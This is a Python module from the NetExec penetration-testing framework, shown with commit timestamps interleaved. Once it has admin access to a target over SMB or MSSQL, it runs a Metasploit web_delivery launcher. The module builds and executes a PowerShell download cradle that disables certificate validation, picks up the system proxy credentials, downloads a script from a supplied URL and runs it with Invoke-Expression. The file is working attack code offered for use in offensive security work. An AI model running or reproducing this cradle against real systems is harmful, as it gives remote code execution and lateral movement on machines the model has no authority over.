NetExec/nxc/modules/web_delivery.py

47 lines
1.8 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2017-05-08 06:24:01 +00:00
from sys import exit
2023-05-02 15:17:59 +00:00
class NXCModule:
"""
2023-05-02 15:17:59 +00:00
Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
2017-05-08 06:24:01 +00:00
2023-05-02 15:17:59 +00:00
Module by @byt3bl33d3r
"""
2017-05-08 06:24:01 +00:00
2023-05-02 15:17:59 +00:00
name = "web_delivery"
description = "Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module"
supported_protocols = ["smb", "mssql"]
2017-10-25 06:45:58 +00:00
opsec_safe = True
2017-05-08 06:24:01 +00:00
multiple_hosts = True
def options(self, context, module_options):
"""
2017-05-08 06:24:01 +00:00
URL URL for the download cradle
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
"""
2017-05-08 06:24:01 +00:00
2023-09-20 15:59:16 +00:00
if "URL" not in module_options:
2023-05-02 15:17:59 +00:00
context.log.fail("URL option is required!")
2017-05-08 06:24:01 +00:00
exit(1)
2023-05-02 15:17:59 +00:00
self.url = module_options["URL"]
2017-05-08 06:24:01 +00:00
self.payload = "64"
2023-05-02 15:17:59 +00:00
if "PAYLOAD" in module_options:
if module_options["PAYLOAD"] not in ["64", "32"]:
context.log.fail("Invalid value for PAYLOAD option!")
exit(1)
2023-05-02 15:17:59 +00:00
self.payload = module_options["PAYLOAD"]
2017-05-08 06:24:01 +00:00
def on_admin_login(self, context, connection):
2023-09-24 04:06:51 +00:00
ps_command = f"""[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{self.url}');"""
if self.payload == "32":
connection.ps_execute(ps_command, force_ps32=True)
else:
connection.ps_execute(ps_command, force_ps32=False)
2023-05-02 15:17:59 +00:00
context.log.success("Executed web-delivery launcher")